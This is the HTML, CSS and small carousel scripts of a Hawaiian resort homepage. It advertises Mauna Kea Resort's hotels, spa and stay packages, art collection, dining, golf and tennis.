.inner{width:auto;max-width:none}@media screen and (max-width:767px){.hero figcaption{font-size:16px;text-align:center}.hero figcaption br{display:none}}@media screen and (max-width:480px){.hero figcaption{width:70%}}@media screen and (max-width:768px){.hero{margin-left:0}}.hero .btn{background:#ff671f;padding:4px 20px;color:currentColor}.hero .btn:before,.hero .btn:after{display:none}@media screen and (max-width:767px){.hero .slick-arrow{top:calc(50% + 30px)}}.hero-slide{position:relative;overflow:hidden}.hero-nav{box-sizing:border-box;position:absolute;bottom:5.4%;right:5%;z-index:2;color:currentColor}@media screen and (max-width:767px){.hero-nav{min-height:40px;bottom:.75em}}.hero-nav .slick-arrow{position:relative;top:auto;transform:none;margin:0 .35rem}.hero-nav .slick-prev{left:auto}.hero-nav .slick-next{right:auto}.hero-sub-caption{position:absolute;right:1.5em;bottom:1.5em;z-index:2;color:currentColor;font-size:13px}@media screen and (max-width:767px){.hero-sub-caption{display:none}}.btn-hero-toggle{position:absolute;right:1.5em;bottom:1.5em;z-index:2;width:34px;height:34px;border:1px solid;border-radius:50%;transition:color .35s}@media screen and (max-width:767px){.btn-hero-toggle{right:1em;bottom:1em}}.btn-hero-toggle.is-hidden{display:none}.btn-hero-toggle::before{content:'î ¨';font-family:'fontello';font-size:1rem}.btn-hero-toggle.is-play::before{content:'î §'}.btn-hero-toggle:hover{color:#ff671f}</style>
4096<style>.hero-index .hero-slide{position:relative;background-size:cover;background-position:center;height:100%}.hero-index .hero-slide::after{content:'';pointer-events:none;position:absolute;left:0;bottom:0;width:100%;height:25%;background:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.hero-index .hero-img{overflow:hidden}.hero-index figcaption{box-sizing:border-box;color:#fff;line-height:1.4;left:50%;max-width:90%;position:absolute;text-align:center;top:50%;transform:translate(-50%,-50%);z-index:2;transition:opacity .6s ease}.hero-index figcaption.loading{opacity:0;visibility:hidden}.hero-index figcaption:before{content:'';position:absolute;left:0;top:0;width:100%;height:100%;background:radial-gradient(ellipse,rgba(0,0,0,.5),transparent 70%);z-index:-1}@media screen and (max-width:768px){.hero-index figcaption{width:100%}}.hero-index .vid-controls{box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-moz-flex;display:-ms-flexbox;display:flex;align-items:center;bottom:0;left:0;position:absolute;z-index:2;width:calc(100% - 94px);padding:0 5% 3%}@media screen and (max-width:767px){.hero-index .vid-controls{bottom:.5em}}.hero-index .play-pause-minimal i{color:#fff;font-size:20px;opacity:.8;transition:color .35s}.hero-index .play-pause-minimal i:hover{color:#ff671f}.hero-index .volume-minimal i{color:#fff;font-size:20px;opacity:.8;transition:color .35s}.hero-index .volume-minimal i:hover{color:#ff671f}.hero-index .progress-bar-wrapper{flex:1;padding:0 2%}.hero-index .progress-bar{background-color:rgba(255,255,255,.2);height:1px;margin:0 2%;position:relative;width:100%}.hero-index .progress-bar-fill{position:absolute;top:0;left:0;width:0;height:100%;background-color:#fff}.hero-index .vimeo-wrapper{height:100%;width:100%;overflow:hidden;position:relative}.hero-index .vimeo-wrapper iframe{box-sizing:border-box;min-width:100%;min-height:100%;position:absolute;
4096left:50%;top:50%;transform:translate(-50%,-50%)}.hero-index .ratio-16-9 iframe{height:56.25vw;width:177.77778vh}.has-loader::before{display:none!important}.icon-volume-off:before{content:''}.icon-volume-on:before{content:''}.cc-ctrl-wrap{position:relative;margin-right:.75rem}.cc-ctrl::before{content:'';font-family:'fontello';font-size:1rem}.subtitles-menu{list-style-type:none;position:absolute;bottom:100%;bottom:calc(100% + 4px);left:50%;z-index:4;margin:0;padding:0;width:100px;transform:translateX(-50%);display:none}.subtitles-menu li{padding:0;text-align:center}.subtitles-menu button{border:none;background-color:rgba(0,0,0,.8);color:#fff;cursor:pointer;width:90%;padding:.4em .5em}.subtitles-menu button:hover{background-color:#000}#hero-video::cue{font-family:"Nunito Sans",sans-serif;font-size:1.5rem;background-color:rgba(0,0,0,.5)}</style>
4097
4098<div class="hero hero-index loading" id="Hero_Tour_1">
4099
4100    
4101
4102    <!-- videos -->    
4103    <figure class="slide hero-slide has-video dawn-slide">
4104        <video preload="auto" muted playsinline disablePictureInPicture loop width="1920" height="1080" class="object-fit" poster="/images/content/videos/mkr_best_1_final.jpg">
4105            <source src="https://videocloud.hooray.agency/maunakea/mkr_best_1_final.mp4" type="video/mp4">
4106        </video>
4107        <div class="vid-controls">
4108            <button class="hvideo-ctrl js-video1-ctrl play-pause-minimal" type="button" aria-label="Pause video"><i class="icon-pause-1"></i></button>
4109            <div class="progress-bar">
4110                <div class="progress-bar-fill"></div>
4111            </div>
4112        </div>
4113        <figcaption class="loading">
4114        </figcaption>
4115    </figure>      
4116
4117    
4118    <figure class="slide hero-slide hero-img-slide">
4119        <img data-lazy="/images/hero/full/infinity-pool-view-1-midres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" >
4120        <figcaption>
4121            <div class="inner">
4122                
4123            </div>
4124        </figcaption>
4125        
4126        <div class="hero-sub-caption"></div>
4127        
4128    </figure>
4129    
4130    <figure class="slide hero-slide hero-img-slide">
4131        <img data-lazy="/images/hero/full/SHOT010388.jpg" alt="A family walking on the beach" data-object-fit="cover" class="object-fit hero-image" style="" >
4132        <figcaption>
4133            <div class="inner">
4134                
4135            </div>
4136        </figcaption>
4137        
4138        <div class="hero-sub-caption"></div>
4139        
4140    </figure>
4141    
4142    <figure class="slide hero-slide hero-img-slide">
4143        <img data-lazy="/images/hero/full/SHOT12_VISTA_DECK_0129.jpg" alt="A couple dining by the shore" data-object-fit="cover" class="object-fit hero-image" style="" >
4144        <figcaption>
4145            <div class="inner">
4146                
4147            </div>
4148        </figcaption>
4149        
4150        <div class="hero-sub-caption"></div>
4151        
4152    </figure>
4153    
4154    <figure class="slide hero-slide hero-img-slide">
4155        <img data-lazy="/images/hero/full/family-pool-4---close-up-midres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" >
4156        <figcaption>
4157            <div class="inner">
4158                
4159            </div>
4160        </figcaption>
4161        
4162        <div class="hero-sub-caption"></div>
4163        
4164    </figure>
4165    
4166    <figure class="slide hero-slide hero-img-slide">
4167        <img data-lazy="/images/hero/full/SHOT02_CANOE_485_tattoo.jpg" alt="A couple sailing" data-object-fit="cover" class="object-fit hero-image" style="" >
4168        <figcaption>
4169            <div class="inner">
4170                
4171            </div>
4172        </figcaption>
4173        
4174        <div class="hero-sub-caption"></div>
4175        
4176    </figure>
4177    
4178    <figure class="slide hero-slide hero-img-slide">
4179        <img data-lazy="/images/hero/full/SHOT07_HOTEL_ENTRYWAY_0177.jpg" alt="A couple looking out from the balcony" data-object-fit="cover" class="object-fit hero-image" style="" >
4180        <figcaption>
4181            <div class="inner">
4182                
4183            </div>
4184        </figcaption>
4185        
4186        <div class="hero-sub-caption"></div>
4187        
4188    </figure>
4189    
4190</div>
4191
4192<div class="hero-nav">
4193
4194</div>
4195
4196
4197
4198
4199
4200    
4201<style>
4202  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
4203  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
4204</style>
4205
4206
4207
4208
4209<style>.home-callouts{position:absolute;
4209left:-450px;bottom:130px;width:478px;height:198px;background-color:#fff;color:#56534d;z-index:9;transition:left 1s ease-in-out,transform 1s ease-in-out}@media screen and (max-width:767px){.home-callouts{bottom:20%;transition:.5s ease-in-out}}@media screen and (max-width:480px){.home-callouts{left:0;transform:translateX(calc(-100% + 28px));background-color:#e4e4e4;width:85%;height:175px}}.home-callouts .slick-prev,.home-callouts .slick-next{bottom:-55px;top:initial;cursor:pointer;color:#fff}@media screen and (max-width:480px){.home-callouts .slick-prev,.home-callouts .slick-next{visibility:hidden}}.home-callouts .slick-prev{left:30%}@media screen and (max-width:480px){.home-callouts .slick-prev{left:85px}}.home-callouts .slick-next{right:30%}@media screen and (max-width:480px){.home-callouts .slick-next{right:132px}}</style>
4210
4211
4212
4213
4214<div class="home-callouts" hdmtype="flyout">
4215  <div class="join-eclub je-slider">
4216      <!-- begin arrow slider  -->
4217      
4218      <div>
4219        <div class="je-wrap">
4220          <div class="je-image"><img src="/images/content/flyouts/resized-shot02_canoe_812.jpg?05777849680208612" width="211" height="198" alt="60th Anniversary Package"></div>
4221          <div class="je-inner">
4222            <h3 style="font-size:16px;">60th Anniversary Package</h3>
4223            <p>Stay 3 nights and receive a 4th night free, plus daily breakfast buffet for two at Manta restaurant.&nbsp;</p>
4224
4225            
4226                <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAAK&cc=ZJ1" class="je-cta js-je-cta" gaq="">Learn More</a>
4227            
4228          
4229          </div>
4230        </div>
4231      </div>
4232      
4233      <div>
4234        <div class="je-wrap">
4235          <div class="je-image"><img src="/images/content/flyouts/Resized_SHOT01_SHORELINE_WALK_SCENIC_BOOGIE_BOARD_0070.jpg?03262374496421412" width="211" height="198" alt="Discover Hawaii"></div>
4236          <div class="je-inner">
4237            <h3 style="font-size:16px;">Discover Hawaii</h3>
4238            <p>Discover Hawai&lsquo;i with an exclusive 15% off our Best Available Rates at The Westin Hapuna Beach Resort.</p>
4239
4240            
4241                <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAWI&cc=ZJL&scid=undefined" class="je-cta js-je-cta" gaq="">Learn More</a>
4242            
4243          
4244          </div>
4245        </div>
4246      </div>
4247      
4248      <div>
4249        <div class="je-wrap">
4250          <div class="je-image"><img src="/images/content/flyouts/infinity-pool-view-2-midres.jpg?04758372067076503" width="211" height="198" alt="Art of Renewal Package"></div>
4251          <div class="je-inner">
4252            <h3 style="font-size:16px;">Art of Renewal Package</h3>
4253            <p>Book three or more nights, receive $200 Daily Spa Credit, offering the freedom to experience the new Spa at Mauna Kea at a relaxed pace.</p>
4254
4255            
4256                <a href="https://www.marriott.com/offers/art-of-renewal-off-221029/koaak-mauna-kea-beach-hotel-autograph-collection" class="je-cta js-je-cta" gaq="">Learn More</a>
4257            
4258          
4259          </div>
4260        </div>
4261      </div>
4262      
4263      <div>
4264        <div class="je-wrap">
4265          <div class="je-image"><img src="/images/content/flyouts/cheers0wine.jpg?01758304924458467" width="211" height="198" alt="Westin Suite Retreat Package  "></div>
4266          <div class="je-inner">
4267            <h3 style="font-size:16px;">Westin Suite Retreat Package  </h3>
4268            <p class="x_x_MsoNormal">Escape to the Suite Life. With 30% off suites, plus wine, strawberries &amp; bathrobes on arrival.</p>
4269
4270            
4271                <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAWI&cc=HDK&scid=undefined" class="je-cta js-je-cta" gaq="Fly-in, Westin Suite Retreat Package ">Learn More</a>
4272            
4273          
4274          </div>
4275        </div>
4276      </div>
4277      
4278      <div>
4279        <div class="je-wrap">
4280          <div class="je-image"><img src="/images/content/flyouts/WES32625-38.jpg?000860377901824727" width="211" height="198" alt="Stay 3 Nights at Westin Hapuna "></div>
4281          <div class="je-inner">
4282            <h3 style="font-size:16px;">Stay 3 Nights at Westin Hapuna </h3>
4283            <p>Enjoy 15% off rates and daily breakfast buffet, plus a one-time $50 resort credit.</p>
4284
4285            
4286                <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAWI&cc=ES7&scid=undefined" class="je-cta js-je-cta" gaq="">Learn More</a>
4287            
4288          
4289          </div>
4290        </div>
4291      </div>
4292      
4293      <!-- end arrow slider -->       
4294  </div>      
4295  <button type="button" class="je-toggle js-je-toggle" aria-label="Open"></button>
4296</div>
4297
4298
4299<script>
4300  _hdmq.add(function(){
4301      
4302      // join eclub toggle        
4303      const jeToggleBtn = document.querySelector('.js-je-toggle');
4304      const jeBanner = document.querySelector('.home-callouts');
4305      
4306      function jeToggle() {
4307        if(!jeToggleBtn || !jeBanner) return;
4308        
4309        if(jeBanner.classList.contains('active')) {
4310          jeBanner.classList.remove('active');
4311          jeToggleBtn.setAttribute('aria-label', 'Open');
4312        } else {
4313          jeBanner.classList.add('active');
4314          jeToggleBtn.setAttribute('aria-label', 'Close');
4315        }
4316      }
4317    
4318      jeToggleBtn.addEventListener('click', jeToggle);
4319      
4320      // expand on page load
4321      setTimeout(function() {
4322        if(!jeToggleBtn || !jeBanner) return;
4323        jeBanner.classList.add('active');
4324        jeToggleBtn.setAttribute('aria-label', 'Close');
4325      }, 1500);
4326      
4327      const $joinEclub = $('.join-eclub');
4328
4329      $joinEclub.on('init', function() {
4330        setTimeout(function() {
4331          $joinEclub.slick('setPosition');
4332        }, 500);
4333      });
4334
4335      $joinEclub.slick({
4336          autoplaySpeed:8000,
4337          dots: true,                
4338          draggable: false,
4339          autoplay: true,                
4340          accessibility: true,                              
4341        });
4342          
4343    });
4344</script>
4344    
4345
4346
4347
4348     <style>
4349        .afar { position: absolute; top: 28%; left: 50%; transform: translate(-50%, -50%); text-align: center; width: 100%; }
4350        .afar-inner { max-width: 1280px; margin: 0 auto; }
4351        .afar img { float: right; width: 150px; height: auto; margin-right: 20px; }
4352        @media screen and (max-width: 767px) {
4353           .afar { top: 35%; }
4354           .afar img { width: 100px; }
4355        }
4356    </style>
4357    <div class="afar">
4358        <div class="afar-inner">
4359        <img src="/images/layout/logos/AFAR_BestNewHotels2026_Logo.png">
4360        </div>
4361    </div>   
4362</div>
4363<main id="main-content" class="main-content" role="main">
4364    <section class="hotels" data-lazy-bg="">
4365        <div class="hgroup">
4366            <h2><em>Aloha<img data-lazy-src="/images/layout/icons/plumeria-64.png" width="32" height="32" alt="plumeria" class="icon"></em> Brings Us Together</h2>           
4367            <div class="subhead">
4368                <div class="hdm-content" hdmType="HtmlEditable" id="Field_1_6"><h1 class="ada-hidden">Mauna Kea Resort</h1>
4369<p>Pure luxury <span>nestled in perfect harmony with nature and spirit of the island.</span></p>
4370<p>&nbsp;</p></div>
4371            </div>
4372        </div>   
4373        
4374<style>
4375  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
4376  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
4377</style>
4378
4379
4380<div class="dj-sliders-wrap" hdmtype="swiperslider">
4381            <div class="dj-slider-main-wrap">
4382                <div class="dj-slider-main-pad">
4383                    <div class="swiper-container dj-slider dj-slider-main loading">                
4384                        <div class="swiper-wrapper">
4385                        
4386                            <div class="swiper-slide hotel-slide">
4387                                <div class="dj-slider-wrap">
4388                                    <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/infinity-pool-midres.jpg?048953352925540716" width="760" height="570" alt="Mauna Kea Beach Hotel" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div>
4389                                    <div class="dj-slider-content">
4390                                        <h3><em>Mauna Kea</em> Beach Hotel, Autograph Collection</h3>
4391                                        <div class="copy">        
4392                                           <h4>Welcomes You Back</h4>
4393<p>Our $200+ million transformation welcomes guests to a new chapter at this iconic luxury resort.</p>
4394                                            <p><a href="/stay/mauna-kea-beach-hotel/" class="lm">Learn More</a></p>
4395                                        </div>
4396                                    </div>
4397                                </div>
4398                            </div>
4399                        
4400                            <div class="swiper-slide hotel-slide">
4401                                <div class="dj-slider-wrap">
4402                                    <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/760x570_whbr-slider.jpg?03936786448430696" width="760" height="570" alt="The Westin Hapuna Beach Resort" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div>
4403                                    <div class="dj-slider-content">
4404                                        <h3><em>The Westin</em> Hapuna Beach Resort</h3>
4405                                        <div class="copy">        
4406                                           <h4>invites you to bliss</h4>
4407<p><span style="font-weight: 400;">A premier resort experience on America&rsquo;s number #1 rated beach.</span></p>
4408                                            <p><a href="/stay/westin-hapuna-beach-resort/" class="lm">Learn More</a></p>
4409                                        </div>
4410                                    </div>
4411                                </div>
4412                            </div>
4413                        
4414                            <div class="swiper-slide hotel-slide">
4415                                <div class="dj-slider-wrap">
4416                                    <div class="dj-slider-media has-caption lighter">
4416<img data-src="/images/content/swiperslider/760x570_ResidenceSlider.jpg?03506931731224061" width="760" height="570" alt="Mauna Kea Residences" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div>
4417                                    <div class="dj-slider-content">
4418                                        <h3><em>Mauna Kea</em> Residences</h3>
4419                                        <div class="copy">        
4420                                           <h4>Home away from home</h4>
4421<p><span style="font-weight: 400;">Ultimate luxury on the Island of Hawaiʻi.</span></p>
4422                                            <p><a href="/stay/mauna-kea-residences/" class="lm">Learn More</a></p>
4423                                        </div>
4424                                    </div>
4425                                </div>
4426                            </div>
4427                                                    
4428                        </div>                    
4429                    </div>
4430                    <button type="button" class="swiper-button-prev js-dj-slider-prev" aria-label="Previous"></button>
4431                    <button type="button" class="swiper-button-next js-dj-slider-next" aria-label="Next"></button>                     
4432                </div>               
4433            </div>
4434
4435            <div class="dj-slider-prev-wrap">
4436                <div class="swiper-container dj-slider dj-slider-prev loading">
4437                    <div class="swiper-wrapper">
4438                    
4439                         <div class="swiper-slide hotel-slide">
4440                            <div class="dj-slider-wrap">
4441                                <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/760x570_whbr-slider.jpg?03936786448430696" width="760" height="570" alt="The Westin Hapuna Beach Resort" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div>
4442                                <div class="dj-slider-content">
4443                                    <h3><em>The Westin</em> Hapuna Beach Resort</h3>
4444                                </div>
4445                            </div>
4446                        </div>
4447                    
4448                         <div class="swiper-slide hotel-slide">
4449                            <div class="dj-slider-wrap">
4450                                <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/760x570_ResidenceSlider.jpg?03506931731224061" width="760" height="570" alt="Mauna Kea Residences" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div>
4451                                <div class="dj-slider-content">
4452                                    <h3><em>Mauna Kea</em> Residences</h3>
4453                                </div>
4454                            </div>
4455                        </div>
4456                    
4457                         <div class="swiper-slide hotel-slide">
4458                            <div class="dj-slider-wrap">
4459                                <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/infinity-pool-midres.jpg?048953352925540716" width="760" height="570" alt="Mauna Kea Beach Hotel" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div>
4460                                <div class="dj-slider-content">
4461                                    <h3><em>Mauna Kea</em> Beach Hotel, Autograph Collection</h3>
4462                                </div>
4463                            </div>
4464                        </div>
4465                                           
4466                    </div>
4467                </div> 
4468            </div>
4469                     
4470        </div>  
4471
4472 
4473
4474    </section>
4475    
4476    
4477<style>
4478  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
4479  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
4480</style>
4481
4482
4483<div class="fw-tab-slider-wrap" hdmtype="tabslider">            
4484    <div class="fw-tab-slider-tabs js-exp-slider-nav">
4485        <div><button class="fw-ts-tab">Currents</button></div>
4486                                          
4487            <div><button class="fw-ts-tab">Art Collection</button></div>
4488                                          
4489            <div><button class="fw-ts-tab">Beach Experiences</button></div>
4490        
4491    </div>
4492    <div class="fw-tab-slider js-exp-slider loading">  
4493        <div>
4494            <div class="fw-tab-slide">
4495                <div class="fw-tab-slide-media">
4495<img data-lazy="/images/content/home/experience/snorkler-light-underwater.jpg" width="1280" height="800" alt="Currents Magazine" class="object-fit"></div>
4496                <div class="magazine-tab-slide-content">
4497                    
4498                        <div>
4499                            <p class="title">CURRENTS</p>
4500                            <h3></h3>
4501                            <p class="lede">Blue Mindfulness - Find happiness and health in nature</p>
4502                            <a href="/culture/currents/blue-mindfulness" class="lm lm-arrow">Read More</a>
4503                        </div>
4504                                                
4505                </div>
4506            </div>                                                            
4507        </div>
4508         
4509            <div>
4510                <div class="fw-tab-slide">
4511                    <div class="fw-tab-slide-media"><img data-lazy="/images/content/tabslider/buddah-1280x800.jpg?06381243884421148" width="1280" height="800" alt="Art Collection" class="object-fit object-fit-top"></div>
4512                    <div class="fw-tab-slide-content">
4513                        <h3><span style="color: #ffffff;"><em>Timeless</em> Happens Here</span></h3>
4514<p class="lede">Learn what inspired this collection of one of a kind pieces of art and artifacts from Asia and the Pacific through our complimentary immersive app.</p>
4515                        <p><a href="/culture/art-collection" class="lm lm-arrow">Learn More</a></p>
4516                    </div>
4517                </div>
4518            </div>
4519         
4520            <div>
4521                <div class="fw-tab-slide">
4522                    <div class="fw-tab-slide-media"><img data-lazy="/images/content/tabslider/beach-activities011280x800.jpg?00884012095019211" width="1280" height="800" alt="Beach Experiences" class="object-fit object-fit-top"></div>
4523                    <div class="fw-tab-slide-content">
4524                        <h3><span style="color: #ffffff;"><em>Find</em> a new perspective</span></h3>
4525<p class="lede">Enjoy beach and pool experiences second to none.</p>
4526                        <p><a href="https://www.maunakearesort.com/play/activities/beach-and-pool" class="lm lm-arrow">Learn More</a></p>
4527                    </div>
4528                </div>
4529            </div>
4530         
4531    </div>
4532</div>
4533
4534
4535 
4536    
4537    <section class="history">        
4538
4539        
4540<style>
4541  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
4542  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
4543</style>
4544
4545
4546<div class="hist-slider-wrap" hdmtype="history">
4547    <div class="hist-slider js-hist-slider loading">
4548        
4549            <div>
4550                <div class="hist-slide">
4551                    <h3><em>History</em> of Mauna Kea Resort</h3>
4552                    <div class="main-img"><img data-lazy="/images/content/historylarge/canoe-couple.jpg?06597430371842221" width="654" height="770" alt="History of Mauna Kea Resortfirst image" class="object-fit"></div>
4553                    <div class="sec-img"><img data-lazy="/images/content/historysmall/rockefeller-history-324x438.jpg?016218393423661226" width="422" height="524" alt="History of Mauna Kea Resortsecond image" class="object-fit"></div>
4554                    <div class="hist-slide-caption">
4555                        <p><span style="font-weight: 400;">Mauna Kea Resort has such a storied past, learn how the resort has developed into one of the most desired destinations in Hawaiʻi.</span></p>
4556                        <p><a href="/culture/history" class="lm">Learn more</a></p>
4557                    </div>
4558                </div>
4559            </div>
4560        
4561            <div>
4562                <div class="hist-slide">
4563                    <h3><em>Local Activites</em> of Mauna Kea Resort</h3>
4564                    <div class="main-img"><img data-lazy="/images/content/historylarge/local-activities-520x640.jpg?007986372467060576" width="654" height="770" alt="Local Activities Of Mauna Keafirst image" class="object-fit"></div>
4565                    <div class="sec-img"><img data-lazy="/images/content/historysmall/local-activities03-520x640.jpg?017392687754654634" width="422" height="524" alt="Local Activities Of Mauna Keasecond image" class="object-fit"></div>
4566                    <div class="hist-slide-caption">
4567                        <p>Discover an endless array of island adventures, romantic escapades and family fun. Create everlasting memories for years to come.</p>
4568                        <p><a href="/play" class="lm">Learn more</a></p>
4569                    </div>
4570                </div>
4571            </div>
4572                                       
4573    </div>
4574    <div class="hist-slider-nav"></div>
4575</div>
4576
4577        
4578    </section>
4579    <section class="glance">
4580        <h2 class="ada-hidden">At-a-Glance</h2>
4581        
4582<style>
4583  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
4584  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
4585</style>
4586
4587
4588<div hdmtype="navslider">
4589            <div class="perc-slider-wrap psw-tall" >
4590                <div class="perc-slider glance-slider js-glance-slider loading">
4591                    
4592                        <div>
4593                            <figure class="perc-slide">
4594                                <div class="perc-slide-media"><img data-lazy="/images/content/navslider/SHOT12_VISTA_DECK_0182.jpg?006321255052412478" width="920" height="700" alt="Dine" class="object-fit"></div>
4595                                <figcaption>
4596                                    <h3><em>From the </em>Ocean, to your table</h3>
4597                                    <div class="copy">
4598                                    <p>We know traditions. We&rsquo;ve been inspiring them here on the Island of Hawai&lsquo;i at Mauna Kea Resort for generations.</p>
4599                                        <p><a href="/dine/" class="lm lm-arrow">Learn More</a></p>
4600                                    </div>
4601                                </figcaption>
4602                            </figure>                   
4603                        </div>
4604                    
4605                        <div>
4606                            <figure class="perc-slide">
4607                                <div class="perc-slide-media"><img data-lazy="/images/content/navslider/SHOT02_CANOE_485_tattoo.jpg?008473691161603347" width="920" height="700" alt="Play" class="object-fit"></div>
4608                                <figcaption>
4609                                    <h3><em>Providing </em>natures playground and a little extra</h3>
4610                                    <div class="copy">
4611                                    <p>Explore the world class activities and amenities offered at Mauna Kea.</p>
4612                                        <p><a href="/play/" class="lm lm-arrow">Learn More</a></p>
4613                                    </div>
4614                                </figcaption>
4615                            </figure>                   
4616                        </div>
4617                    
4618                        <div>
4619                            <figure class="perc-slide">
4620                                <div class="perc-slide-media"><img data-lazy="/images/content/navslider/Tennis1920x1200.jpg?07301309073496363" width="920" height="700" alt="Racquet Club" class="object-fit"></div>
4621                                <figcaption>
4622                                    <p>Premier courts at the ocean's edge</p>
4623                                    <div class="copy">
4624                                    <p>Featuring oceanfront tennis courts and new pickleball courts on the edge of the ocean. Rated the best Racquet Club in Hawai&lsquo;i and number four in the world!</p>
4625                                        <p><a href="/play/activities/tennis/" class="lm lm-arrow">Learn More</a></p>
4626                                    </div>
4627                                </figcaption>
4628                            </figure>                   
4629                        </div>
4630                    
4631                        <div>
4632                            <figure class="perc-slide">
4633                                <div class="perc-slide-media"><img data-lazy="/images/content/navslider/golf-920x720.jpg?09304012524041316" width="920" height="700" alt="Signature Golf" class="object-fit"></div>
4634                                <figcaption>
4635                                    <h3><em>Oceanview</em> golfing in Hawaii</h3>
4636                                    <div class="copy">
4637                                    <p>Dramatic ocean vistas provide a backdrop to a magical round of island golf at 2 newly renovated golf courses.&nbsp;</p>
4638                                        <p><a href="/golf/" class="lm lm-arrow">Learn More</a></p>
4639                                    </div>
4640                                </figcaption>
4641                            </figure>                   
4642                        </div>
4643                    
4644                </div>
4645                <div class="perc-slider-nav"></div>
4646            </div>
4647
4648            <div class="perc-slider-display">
4649                <div class="perc-slider-controls"> 
4650                    
4651                        <button type="button" class="ps-btn">Dine</button>
4652                    
4653                        <button type="button" class="ps-btn">Play</button>
4654                    
4655                        <button type="button" class="ps-btn">Racquet Club</button>
4656                    
4657                        <button type="button" class="ps-btn">Signature Golf</button>
4658                    
4659                </div>
4660                <div class="perc-slider-desc"></div>
4661            </div> 
4662        </div>  
4663
4664    
4665
4666    </section>
4667    
4668    <style>.offers-slider{transition:opacity .6s ease}.offers-slider.loading{opacity:0;visibility:hidden}</style>
4669
4670
4671<section class="offers">
4672	<div class="offers-slider-wrap">
4673		<div class="offers-slider js-offers-slider loading">
4674		
4675			<div>
4676				<figure class="offers-slide">
4677					<div class="offers-img"><img data-lazy="/images/content/spceials/1860x620paradise-extended.jpg?01837012161606556" width="1860" height="620" alt="Westin Hapuna Experience Package" class="object-fit"></div>
4678					<figcaption>
4679						<h3>Westin Hapuna Experience Package</h3>
4680						<p>Enjoy 20% off best available rate, includes daily breakfast buffet for 2 at Ikena Landing, receive 25% off Beach Rentals and a one-time $50 resort credit. Must stay 4-consecutive nights to qualify.&nbsp;</p>
4681						<p><a href="/special-offers" class="lm">Stay with us</a></p>
4682					</figcaption>
4683				</figure>
4684			</div>
4685		
4686			<div>
4687				<figure class="offers-slide">
4688					<div class="offers-img"><img data-lazy="/images/content/spceials/hbr-1820x620.jpg?06134938309339796" width="1860" height="620" alt="Stay 3 Nights, Save with Breakfast" class="object-fit"></div>
4689					<figcaption>
4690						<h3>Stay 3 Nights, Save with Breakfast</h3>
4691						<p data-start="88" data-end="301">Stay three nights or more and enjoy up to 15% off our best available rates for ocean-facing categories, includes daily breakfast buffet for 2 adults, plus a one-time $50 resort credit to dine, unwind, or explore.</p>
4692<p data-start="303" data-end="427">&nbsp;</p>
4693						<p><a href="/special-offers" class="lm">Stay with us</a></p>
4694					</figcaption>
4695				</figure>
4696			</div>
4697		
4698		</div>
4699		<div class="offers-arrows"></div>
4700		<div class="cta">
4701			<a href="/special-offers">Special <span>Offers</span></a>
4702		</div>		
4703	</div>
4704</section>
4705
4706
4707    
4708    <style></style>
4709    
4710
4711<section class="site-map" aria-label="Map">	
4712    <div class="gmap-wrap has-loader">
4713        <div class="map-tabs">
4714            <ul class="unstyled-list mt-list">
4715                <li><button type="button" data-region="mkr" class="mt-btn js-mt-btn active"><span>Mauna Kea Resort</span></button></li>
4716                <li><button type="button" data-region="local" class="mt-btn js-mt-btn"><span>Local Area</span></button></li>
4717                <li><button type="button" data-region="bigisland" class="mt-btn js-mt-btn"><span>Big Island</span></button></li>
4718            </ul>
4719        </div>
4720            
4721        <div id="map" class="gmap"></div>
4722
4723        <div class="map-nav">            
4724            <ul class="unstyled-list mn-list active" data-mn-list="mkr">
4725                <li><button type="button" data-category="living" class="mn-btn js-mn-btn"><span>Living</span></button></li>
4726
4727                
4728                    <li><button type="button" data-category="dining" class="mn-btn js-mn-btn active"><span>Dining</span></button></li>
4729                    <li><button type="button" data-category="shopping" class="mn-btn js-mn-btn"><span>Shopping</span></button></li>                
4730                
4731
4732                <li><button type="button" data-category="activities" class="mn-btn js-mn-btn"><span>Activities</span></button></li>
4733                <li><button type="button" data-category="eventSpace" class="mn-btn js-mn-btn"><span>Meeting & Event Space</span></button></li>
4734            </ul> 
4735            <ul class="unstyled-list mn-list" data-mn-list="local">
4736                <li><button type="button" data-category="historicSites" class="mn-btn js-mn-btn active"><span>Historic Sites</span></button></li>
4737                <li><button type="button" data-category="towns" class="mn-btn js-mn-btn"><span>Towns</span></button></li>
4738                <li><button type="button" data-category="shopping" class="mn-btn js-mn-btn"><span>Shopping</span></button></li>
4739                <li><button type="button" data-category="beachesActivities" class="mn-btn js-mn-btn"><span>Beaches & Activities</span></button></li>
4740            </ul>
4741            <ul class="unstyled-list mn-list" data-mn-list="bigisland">
4742                <li><button type="button" data-category="townsCities" class="mn-btn js-mn-btn active"><span>Towns/Cities</span></button></li>
4743                <li><button type="button" data-category="landmarks" class="mn-btn js-mn-btn"><span>Landmarks</span></button></li>
4744                <li><button type="button" data-category="airportsActivities" class="mn-btn js-mn-btn"><span>Airports & Activities</span></button></li>
